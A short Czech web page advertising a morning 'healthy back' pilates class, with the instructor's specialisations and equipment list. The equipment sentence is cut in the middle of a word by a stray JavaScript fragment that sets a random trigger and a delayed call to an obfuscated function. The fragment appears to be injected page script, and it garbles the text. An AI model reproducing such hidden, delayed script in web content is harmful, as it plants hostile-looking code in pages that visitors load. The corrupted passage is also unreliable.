Pilates zdravá záda v meditárně 8:00 – 9:00 / Markéta Marešová

Díky cvičení pilates dosahujeme snáze propojení těla a mysli. Je to precizní a funkční cvičení, které pomáhá nejenom od bolesti zad, ale k celkovému zlepšení fungování našeho těla.

Momentálně cvičím pilates se všemi věkovými skupinami. Specializuji se i na těhotenské pilates, pilates po porodu, pilates – zdravá záda.

Ve svých lekcích používám pilates pomůcky: overball, therabandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, foam roller, rehabilitační míčky, magic circle